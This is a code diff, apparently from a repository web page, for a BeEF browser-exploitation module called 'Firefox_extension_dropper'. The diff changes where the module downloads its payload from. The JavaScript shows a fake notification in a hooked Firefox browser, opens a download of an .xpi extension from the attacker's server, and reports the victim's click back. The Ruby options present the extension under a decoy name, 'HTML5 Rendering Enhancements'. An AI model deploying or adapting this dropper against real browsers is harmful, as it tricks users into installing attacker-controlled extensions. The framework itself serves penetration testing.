@@ -7,7 +7,7 @@
|
||||
beef.execute(function() {
|
||||
|
||||
var xpi_name = '<%= @xpi_name %>';
|
||||
var domain = '<%= @domain %>';
|
||||
var base_host ='<%= @base_host %>';
|
||||
var ff_extension = '/' + xpi_name + '.xpi';
|
||||
|
||||
if(beef.browser.isFF()){
|
||||
@@ -28,7 +28,7 @@ beef.execute(function() {
|
||||
$j(this).remove();
|
||||
});
|
||||
//window.location.href = ff_extension;
|
||||
window.open(ff_extension);
|
||||
window.open(base_host+ff_extension);
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=User has clicked the notification');
|
||||
});
|
||||
$j(hid).css('cursor','pointer');
|
||||
|
||||
@@ -82,11 +82,14 @@ class Firefox_extension_dropper < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
@configuration = BeEF::Core::Configuration.instance
|
||||
proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
|
||||
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
|
||||
beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
|
||||
base_host = "#{proto}://#{beef_host}:#{beef_port}"
|
||||
return [
|
||||
{'name' => 'extension_name', 'ui_label' => 'Extension name', 'value' => 'HTML5 Rendering Enhancements'},
|
||||
{'name' => 'xpi_name', 'ui_label' => 'Extension file (XPI) name', 'value' => 'HTML5_Enhancements'},
|
||||
{'name' => 'domain', 'ui_label' => 'Serving Domain', 'value' => 'http://beefdomain'}
|
||||
{'name' => 'base_host', 'ui_label' => 'Download from', 'value' => base_host, 'width'=>'150px'}
|
||||
]
|
||||
end
|
||||
|
||||
|
||||
Reference in New Issue
Block a user